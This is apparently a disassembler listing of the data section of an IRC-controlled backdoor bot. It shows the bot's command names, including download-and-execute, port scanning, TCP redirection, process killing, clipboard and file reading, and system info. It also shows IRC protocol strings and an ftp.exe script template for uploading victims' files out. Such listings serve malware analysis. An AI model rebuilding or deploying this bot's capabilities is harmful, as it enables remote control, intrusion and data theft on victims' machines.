db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_41CC78 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4092F9o
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
dword_41CCA0 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+2723o
aLookupSS_ db ' Lookup: %s -> %s.',0
align 10h
unk_41CCC0 db 1Fh ; DATA XREF: sub_406BAB:loc_40928Eo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
unk_41CCF0 db 1Fh ; DATA XREF: sub_406BAB+26DCo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessKilledS db ' Process killed: %s',0
align 4
unk_41CD14 db 1Fh ; DATA XREF: sub_406BAB:loc_40922Do
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
unk_41CD48 db 1Fh ; DATA XREF: sub_406BAB+267Bo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessKilledI db ' Process killed ID: %s',0
dword_41CD6C dd 266021Fh, 656C691Fh, 2BB0220h, 654420BBh, 6574656Ch
; DATA XREF: sub_406BAB+260Co
dd 25272064h, 2E2773h
dword_41CD88 dd 26D021Fh, 6372691Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh
; DATA XREF: sub_406BAB:loc_409167o
dd 65732064h, 2E746Eh
unk_41CDA4 db 1Fh ; DATA XREF: sub_406BAB+25B5o
db 2, 6Dh, 2
db 1Fh
db 69h, 72h, 63h
db 20h
db 2, 0BBh, 2
aClientNotOpen_ db ' Client not open.',0
align 4
unk_41CDC4 db 1Fh ; DATA XREF: sub_406BAB+2576o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aReadFileFailed db ' Read file failed: %s',0
align 4
unk_41CDE8 db 1Fh ; DATA XREF: sub_406BAB+2563o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aReadFileComple db ' Read file complete: %s',0
align 10h
dword_41CE10 dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 736F6874h
; DATA XREF: sub_406BAB+24E0o
dd 25203A74h, 2E73h
unk_41CE2C db 1Fh ; DATA XREF: sub_406BAB:loc_409048o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 10h
unk_41CE60 db 1Fh ; DATA XREF: sub_406BAB+2487o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
unk_41CE88 db 1Fh ; DATA XREF: sub_406BAB+2401o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_41CEA8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_406BAB+236Bo
dword_41CEB4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22EFo
; sub_406BAB+28C5o
dword_41CEC0 dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22C0o
unk_41CECC db 1Fh ; DATA XREF: sub_406BAB:loc_408E42o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_41CF04 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 74616570h
; DATA XREF: sub_406BAB+225Co
dd 7325203Ah, 0
dword_41CF20 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_406BAB+218Co
; sub_406BAB+2236o ...
unk_41CF30 db 1Fh ; DATA XREF: sub_406BAB+2118o
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aBotIdMustBeDif db 'Bot ID must be different than current running process.',0
align 4
unk_41CF78 db 1Fh ; DATA XREF: sub_406BAB+20F0o
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToStartD db 'Failed to start download thread, error: <%d>.',0
align 4
unk_41CFB8 db 1Fh ; DATA XREF: sub_406BAB+2091o
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aDownloadingUpd db 'Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_406BAB+1FECo
align 4
dword_41CFF4 dd 265021Fh, 6365781Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh
; DATA XREF: sub_406BAB+1F88o
dd 203A7364h, 7325h
unk_41D010 db 1Fh ; DATA XREF: sub_406BAB+1F7Do
db 2, 65h, 2
db 1Fh
db 78h, 65h, 63h
db 20h
db 2, 0BBh, 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
dword_41D038 dd 266021Fh, 656C691Fh, 2BB0220h, 0BBh ; DATA XREF: sub_406BAB:loc_408A4Bo
; sub_406BAB:loc_4091BEo
unk_41D048 db 1Fh ; DATA XREF: sub_406BAB+1E8Bo
db 2, 66h, 2
db 1Fh
db 69h, 6Ch, 65h
db 20h
db 2, 0BBh, 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_41D070 db 1Fh ; DATA XREF: sub_406BAB+1E2Bo
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
unk_41D0B0 db 1Fh ; DATA XREF: sub_406BAB+1DD2o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 10h
unk_41D0E0 db 1Fh ; DATA XREF: sub_406BAB+1CD8o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 4
unk_41D124 db 1Fh ; DATA XREF: sub_406BAB+1C7Fo
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_41D164 db 1Fh ; DATA XREF: sub_406BAB+1B80o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
align 10h
unk_41D1A0 db 1Fh ; DATA XREF: sub_406BAB+1AE1o
; sub_406BAB+1BD9o ...
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_3 db ' Failed to start scan thread, error: <%d>.',0
unk_41D1D8 db 1Fh ; DATA XREF: sub_406BAB+1A88o
; sub_406BAB+2B1Fo
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_406BAB+1A5Do
; sub_406BAB+2AF4o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_406BAB+1A56o
; sub_406BAB+2AEDo
align 4
unk_41D254 db 1Fh ; DATA XREF: sub_406BAB+1915o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_4 db ' Failed to start scan, no IP specified.',0
align 4
unk_41D28C db 1Fh ; DATA XREF: sub_406BAB+18B5o
; sub_406BAB:loc_409789o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_5 db ' Failed to start scan, port is invalid.',0
align 4
unk_41D2C4 db 1Fh ; DATA XREF: sub_406BAB+17CBo
; sub_406BAB+2940o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_41D304 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB:loc_4082F1o
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
align 4
dword_41D334 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+173Fo
aUploadingFil_0 db ' Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_406BAB+1726o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_406BAB+170Fo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_406BAB+16EFo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_406BAB+16C1o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_406BAB+16B0o
align 4
dword_41D3A4 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_406BAB+1632o
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_406BAB+1608o
align 10h
aAas db 'aas',0 ; DATA XREF: sub_406BAB+15E6o
aAss db 'ass',0 ; DATA XREF: sub_406BAB+15D1o
aPsc db 'psc',0 ; DATA XREF: sub_406BAB+15AFo
aPortscan db 'portscan',0 ; DATA XREF: sub_406BAB+159Ao
align 4
aRd db 'rd',0 ; DATA XREF: sub_406BAB+1585o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_406BAB+1570o
align 4
aKktt db 'kktt',0 ; DATA XREF: sub_406BAB+1546o
; sub_406BAB+155Bo
align 10h
aMv db 'mv',0 ; DATA XREF: sub_406BAB+1531o
align 4
aRename db 'rename',0 ; DATA XREF: sub_406BAB+151Co
align 4
aE: ; DATA XREF: sub_406BAB+1507o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_406BAB+14F2o
aKkttupw db 'kkttupw',0 ; DATA XREF: sub_406BAB+14C8o
; sub_406BAB+14DDo
aDelay db 'delay',0 ; DATA XREF: sub_406BAB+149Eo
align 4
aRp db 'rp',0 ; DATA XREF: sub_406BAB+1489o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_406BAB+1474o
; sub_406BAB+2209o
align 4
aM: ; DATA XREF: sub_406BAB+145Fo
unicode 0, <m>,0
aMode db 'mode',0 ; DATA XREF: sub_406BAB+144Ao
align 10h
aCy db 'cy',0 ; DATA XREF: sub_406BAB+1435o
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_406BAB+1420o
align 4
aA_0: ; DATA XREF: sub_406BAB+140Bo
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_406BAB+13F6o
align 4
aPm db 'pm',0 ; DATA XREF: sub_406BAB+13E1o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_406BAB+13CCo
aAa db 'aa',0 ; DATA XREF: sub_406BAB+13B7o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_406BAB+13A2o
align 4
aGh db 'gh',0 ; DATA XREF: sub_406BAB+137Bo
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_406BAB+1366o
aRf db 'rf',0 ; DATA XREF: sub_406BAB+1351o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_406BAB+133Co
align 10h
aMirc_0 db 'mirc',0 ; DATA XREF: sub_406BAB+1327o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_406BAB+1312o
aDel db 'del',0 ; DATA XREF: sub_406BAB+12FDo
aDelete db 'delete',0 ; DATA XREF: sub_406BAB+12E8o
align 4
aKi db 'ki',0 ; DATA XREF: sub_406BAB+12D3o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_406BAB+12BEo
align 4
aKp db 'kp',0 ; DATA XREF: sub_406BAB+12A9o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_406BAB+1294o
align 4
aDn db 'dn',0 ; DATA XREF: sub_406BAB+127Fo
align 4
aDns db 'dns',0 ; DATA XREF: sub_406BAB+126Ao
aSew db 'sew',0 ; DATA XREF: sub_406BAB+1255o
aServerw db 'serverw',0 ; DATA XREF: sub_406BAB+1240o
aO: ; DATA XREF: sub_406BAB+122Bo
unicode 0, <o>,0
aPrw db 'prw',0 ; DATA XREF: sub_406BAB+1201o
aPrefixw db 'prefixw',0 ; DATA XREF: sub_406BAB+11ECo
aK: ; DATA XREF: sub_406BAB+11D7o
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_406BAB+11C2o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_406BAB+1198o
aPt db 'pt',0 ; DATA XREF: sub_406BAB+1183o
align 4
aPart_0 db 'part',0 ; DATA XREF: sub_406BAB+116Eo
align 4
aJ: ; DATA XREF: sub_406BAB+1159o
unicode 0, <j>,0
aJoin db 'join',0 ; DATA XREF: sub_406BAB+1144o
align 4
aN: ; DATA XREF: sub_406BAB+112Fo
unicode 0, <n>,0
aNick_0 db 'nick',0 ; DATA XREF: sub_406BAB+111Ao
align 4
aAlls db 'alls',0 ; DATA XREF: sub_406BAB+10DEo
; sub_406BAB+10F3o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_406BAB+10C9o
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_406BAB+10B4o
align 10h
aCip db 'cip',0 ; DATA XREF: sub_406BAB+109Fo
aCurrentip db 'currentip',0 ; DATA XREF: sub_406BAB+108Ao
align 10h
aFdns db 'fdns',0 ; DATA XREF: sub_406BAB+1075o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_406BAB+1060o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_406BAB+104Bo
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_406BAB+1036o
align 4
aGc db 'gc',0 ; DATA XREF: sub_406BAB+1021o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_406BAB+100Co
unk_41D584 db 1Fh ; DATA XREF: sub_406BAB+1001o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_406BAB+FCDo
; sub_40AB11+46o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_406BAB+FC0o
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_406BAB+F9Eo
align 4
aWho db 'who',0 ; DATA XREF: sub_406BAB+F85o
aDrv db 'drv',0 ; DATA XREF: sub_406BAB+F70o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_406BAB+F5Bo
align 4
aUp db 'up',0 ; DATA XREF: sub_406BAB+F46o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_406BAB+F31o
align 4
aPs db 'ps',0 ; DATA XREF: sub_406BAB+F1Co
align 4
aProcs db 'procs',0 ; DATA XREF: sub_406BAB+F07o
align 4
aRrmm010kt db 'rrmm010kt',0 ; DATA XREF: sub_406BAB+EDDo
; sub_406BAB+EF2o
align 10h
aSi db 'si',0 ; DATA XREF: sub_406BAB+EC8o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_406BAB+EB3o
aNi db 'ni',0 ; DATA XREF: sub_406BAB+E9Eo
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_406BAB+E89o
aAl db 'al',0 ; DATA XREF: sub_406BAB+E74o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_406BAB+E5Fo
aT: ; DATA XREF: sub_406BAB+E4Ao
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_406BAB+E35o
unk_41D630 db 1Fh ; DATA XREF: sub_406BAB+E01o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToReboot db ' Failed to reboot system.',0
align 4
unk_41D658 db 1Fh ; DATA XREF: sub_406BAB+DFAo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aRebootingSyste db ' Rebooting system.',0
aReboot db 'reboot',0 ; DATA XREF: sub_406BAB+DE3o
align 10h
aIdw db 'idw',0 ; DATA XREF: sub_406BAB+DB9o
; sub_406BAB+DCEo
aS_2: ; DATA XREF: sub_406BAB+DA4o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_406BAB+D8Fo
align 10h
aQ: ; DATA XREF: sub_406BAB+D7Ao
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_406BAB+D65o
align 4
aD: ; DATA XREF: sub_406BAB+D50o
unicode 0, <d>,0
aDisconnect db 'disconnect',0 ; DATA XREF: sub_406BAB+D3Bo
align 4
aR: ; DATA XREF: sub_406BAB+D26o
; sub_406BAB+11ADo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_406BAB+D11o
align 4
aStats db 'stats',0 ; DATA XREF: sub_406BAB+CFCo
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_406BAB+CE7o
align 10h
aRooting db 'Rooting',0 ; DATA XREF: sub_406BAB+CDCo
aProcess db 'process',0 ; DATA XREF: sub_406BAB+CD7o
aScanstop db 'scanstop',0 ; DATA XREF: sub_406BAB+CBEo
align 4
aSecure_0 db 'SECURE ',0 ; DATA XREF: sub_406BAB+CB3o
align 4
aSecure db 'Secure',0 ; DATA XREF: sub_406BAB+CAEo
align 10h
aSecurestop db 'securestop',0 ; DATA XREF: sub_406BAB+C95o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_406BAB+C80o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_406BAB+C6Bo
align 10h
aTftp_0 db 'TFTP ',0 ; DATA XREF: sub_406BAB+C60o
align 4
aServer db 'Server',0 ; DATA XREF: sub_406BAB+C5Bo
align 10h
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_406BAB+C42o
align 4
aRedirect_0 db 'REDIRECT ',0 ; DATA XREF: sub_406BAB+C37o
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_406BAB+C32o
align 4
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_406BAB+C19o
align 4
aLog db 'LOG ',0 ; DATA XREF: sub_406BAB+C0Eo
align 10h
aLogList db 'Log list',0 ; DATA XREF: sub_406BAB+C09o
align 4
aLogstop db 'logstop',0 ; DATA XREF: sub_406BAB+BF0o
aLo db 'lo',0 ; DATA XREF: sub_406BAB+BDBo
align 4
aLogout db 'logout',0 ; DATA XREF: sub_406BAB+BC6o
align 10h
aDe db 'de',0 ; DATA XREF: sub_406BAB+BB1o
; sub_406BAB+14B3o
align 4
aDie db 'die',0 ; DATA XREF: sub_406BAB+B9Co
aRn db 'rn',0 ; DATA XREF: sub_406BAB+B87o
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_406BAB+B72o
a63 db '63',0 ; DATA XREF: sub_406BAB+A5Fo
align 4
asc_41D7A8: ; DATA XREF: sub_406BAB+A40o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_406BAB+A0Co
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_406BAB+A01o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_406BAB+9F0o
align 4
aChan db '$chan',0 ; DATA XREF: sub_406BAB+9D7o
align 10h
aUser_2 db '$user',0 ; DATA XREF: sub_406BAB+9C6o
align 4
aMe db '$me',0 ; DATA XREF: sub_406BAB+9B4o
aD_0 db '$%d',0 ; DATA XREF: sub_406BAB+94Co
aD_1 db '$%d-',0 ; DATA XREF: sub_406BAB+8AEo
align 4
dword_41D7E8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_406BAB+840o
dd 0A0Dh
dword_41D800 dd 4E495001h, 47h ; DATA XREF: sub_406BAB+80Co
dword_41D808 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_406BAB+801o
dd 0D017325h, 0Ah
dword_41D824 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_406BAB+7D0o
dword_41D830 dd 77h ; DATA XREF: sub_406BAB+68Eo
; sub_406BAB+6A3o
dword_41D834 dd 323333h ; DATA XREF: sub_406BAB+601o
; sub_406BAB+6C5o ...
unk_41D838 db 1Fh ; DATA XREF: sub_406BAB+582o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUserSLoggedOut db ' User: %s logged out.',0
align 4
a353 db '353',0 ; DATA XREF: sub_406BAB+532o
aPart db 'PART',0 ; DATA XREF: sub_406BAB+4E4o
; sub_406BAB+59Fo
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: sub_406BAB+4BCo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_406BAB+3A8o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+34Bo
; sub_406BAB+5C3o
unk_41D888 db 1Fh ; DATA XREF: sub_406BAB+332o
; sub_406BAB+32B9o ...
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_406BAB+2CFo
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+278o
; sub_406BAB+28E1o ...
align 10h
a433 db '433',0 ; DATA XREF: sub_406BAB+250o
a@: ; DATA XREF: sub_406BAB+225o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_406BAB+215o
a005 db '005',0 ; DATA XREF: sub_406BAB+200o
a001 db '001',0 ; DATA XREF: sub_406BAB+1EBo
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+1CFo
; sub_406BAB+395o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+1AEo
align 10h
aPing db 'PING',0 ; DATA XREF: sub_406BAB+194o
align 4
asc_41D8F8: ; DATA XREF: sub_406BAB+185o
; sub_406BAB+33ADo
unicode 0, <!>,0
asc_41D8FC: ; DATA XREF: sub_406BAB+A1o
; sub_406BAB+B16o
unicode 0, < >,0
asc_41D900 db ' :',0 ; DATA XREF: sub_406BAB+7Fo
; sub_406BAB:loc_4073F5o
align 4
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A0F0+39o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40A1F9+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40A1F9+1AEo
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40A1F9+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A1F9:loc_40A35Do
align 4
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_40A1F9+EBo
a2003 db '2003',0 ; DATA XREF: sub_40A1F9+BAo
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40A4AD+ABo
align 4
off_41DA68 dd offset loc_412F4D+1 ; DATA XREF: sub_40A4AD:loc_40A521o
dword_41DA6C dd 4E414Ch ; DATA XREF: sub_40A4AD:loc_40A51Ao
dword_41DA70 dd 6C616944h, 70752Dh ; DATA XREF: sub_40A4AD+5Eo
dword_41DA78 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40A4AD+48o
dword_41DA88 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40A573+47Do
unk_41DA94 db 1Fh ; DATA XREF: sub_40A573+3B6o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFileNotFoundSS db ' File not found: %s (%s).',0
align 4
dword_41DABC dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_40A573+399o
dword_41DAD0 dd 21F5B1Fh, 64643168h, 1F026E33h, 0BB201F5Dh, 2520BBBBh
; DATA XREF: sub_40A573+344o
dd 72202C73h, 696E6E75h, 2520676Eh, 73h
unk_41DAF4 db 1Fh ; DATA XREF: sub_40A573+15Ao
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToOpenFi db ' Failed to open file: %s.',0
align 4
unk_41DB1C db 1Fh ; DATA XREF: sub_40A573+6Ao
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_40A573+Fo
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_40AB11+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_40ACDC+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40ACDC+35o
align 10h
dword_41DBB0 dd 7A493C5Ah ; DATA XREF: sub_40B545+4w sub_40B54Fr ...
align 10h
dword_41DBC0 dd 173Fh ; DATA XREF: sub_40B7DA+Dr
dd 9875h, 9873h
off_41DBCC dd offset sub_40B8A9 ; DATA XREF: sub_40D118r
dd offset nullsub_2
dd offset nullsub_2
dword_41DBD8 dd 1B3Fh ; DATA XREF: sub_40B923+Dr
dword_41DBDC dd 19930520h, 4 dup(0) ; DATA XREF: sub_40BDA5+2o
; sub_40BDAE+2o
off_41DBF0 dd offset sub_40D156 ; DATA XREF: sub_40D60A+1Cr
dword_41DBF4 dd 2 ; DATA XREF: sub_413004+Er
; sub_41303D+46r ...
off_41DBF8 dd offset aNull_0 ; DATA XREF: sub_40D768:loc_40DACCr
; sub_40D768+457r
; "(null)"
off_41DBFC dd offset aNull ; DATA XREF: sub_40D768+259r
; "(null)"
dword_41DC00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_40DF72:loc_40E4D9o
dword_41DC08 dd 5Dh, 10h ; DATA XREF: sub_40DF72:loc_40E3C9o
off_41DC10 dd offset off_41DC10 ; DATA XREF: sub_40F757+Do
; sub_40F757+69o ...
off_41DC14 dd offset off_41DC10 ; DATA XREF: sub_40F757:loc_40F7D7r
; sub_40F757+89w ...
dd offset dword_41DC28
dd offset dword_41DC28
dword_41DC20 dd 0FFFFFFFFh ; DATA XREF: sub_40F757r
; sub_40F89B:loc_40F8E8w
dd 0FFFFFFFFh
dword_41DC28 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .nsp0:0041DC18o
; .nsp0:0041DC1Co
off_41FC30 dd offset off_41DC10 ; DATA XREF: sub_40F89B+15r
; sub_40F89B+20w ...
dword_41FC34 dd 1E0h ; DATA XREF: sub_40B6FD:loc_40B739r
; sub_40C4F8+185r ...
dword_41FC38 dd 14h ; DATA XREF: sub_410487+2o
off_41FC3C dd offset aExp ; DATA XREF: sub_410487:loc_4104A4r
; "exp"
dd 1Dh, 417794h, 1Ah, 417790h, 1Bh, 417788h, 1Fh, 417780h
dd 13h, 417778h, 21h, 417770h, 0Eh, 417768h, 0Dh, 417760h
dd 0Fh, 417758h, 10h, 417750h, 5, 417748h, 1Eh, 417744h
dd 12h, 417740h, 20h, 41773Ch, 0Ch, 417734h, 0Bh, 41772Ch
dd 15h, 417724h, 1Ch, 41771Ch, 19h, 417714h, 11h, 41770Ch
dd 18h, 417704h, 16h, 4176FCh, 17h, 4176F4h, 22h, 4176F0h
dd 23h, 4176ECh, 24h, 4176E8h
dbl_41FD10 dq 1.797693134862316e308 ; DATA XREF: sub_4101C2+B7r
; sub_4101C2:loc_4102A9r ...
dd 0
dd 0FFF80000h
dbl_41FD20 dq 1.797693134862316e308 ; DATA XREF: sub_4101C2+92r
; sub_4101C2:loc_410281r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_41FD38 dt 2.3562723457267347066e313 ; DATA XREF: sub_41066F+Dr
; sub_41066F+1Fr
align 4
tbyte_41FD44 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41066F+31r
align 10h
off_41FD50 dd offset sub_410B03 ; DATA XREF: sub_40B8C1+Fw
; sub_40D768+3AAr
